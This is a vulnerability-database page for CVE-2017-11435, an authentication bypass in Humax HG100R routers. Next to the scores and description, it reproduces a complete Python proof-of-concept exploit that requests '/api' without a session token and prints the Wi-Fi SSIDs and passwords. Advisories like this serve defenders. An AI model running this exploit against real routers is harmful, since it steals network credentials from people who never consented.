CVE-2017-11435

critical
Published 2017-07-19 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially crafted requests to the management console. The bug is exploitable remotely when the router is configured to expose the management console. The router is not validating the session token while returning answers for some methods in url '/api'. An attacker can use this vulnerability to retrieve sensitive information such as private/public IP addresses, SSID names, and passwords.

Predictions

Exploit likelihood
97%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42732 webapps hardware python ยท 2 KB
Kivson ยท 2017-09-14

Humax Wi-Fi Router HG100R 2.0.6 - Authentication Bypass

python exploit Source: Exploit-DB
# coding: utf-8

# Exploit Title: Humax HG100R-* Authentication Bypass
# Date: 14/09/2017
# Exploit Author: Kivson
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-11435


# The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially
# crafted requests to the management console. The bug is exploitable remotely when the router is configured to
# expose the management console.
# The router is not validating the session token while returning answers for some methods in url '/api'.
# An attacker can use this vulnerability to retrieve sensitive information such
# as private/public IP addresses, SSID names, and passwords.

import sys
import requests


def print_help():
    print('Exploit syntax error, Example:')
    print('python exploit.py http://192.168.0.1')


def exploit(host):
    print(f'Connecting to {host}')
    path = '/api'
    payload = '{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if 'result' not in response.json() or 'WiFi_Info' not in response.json()['result'] or 'wlan' not in \
            response.json()['result']['WiFi_Info']:
        print('Error, target may be no exploitable')
        return

    for wlan in response.json()['result']['WiFi_Info']['wlan']:
        print(f'Wifi data found:')
        print(f'    SSID: {wlan["ssid"]}')
        print(f'    PWD: {wlan["password"]}')


def main():
    if len(sys.argv) < 2:
        print_help()
        return
    host = sys.argv[1]
    exploit(host)


if __name__ == '__main__':
    main()

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.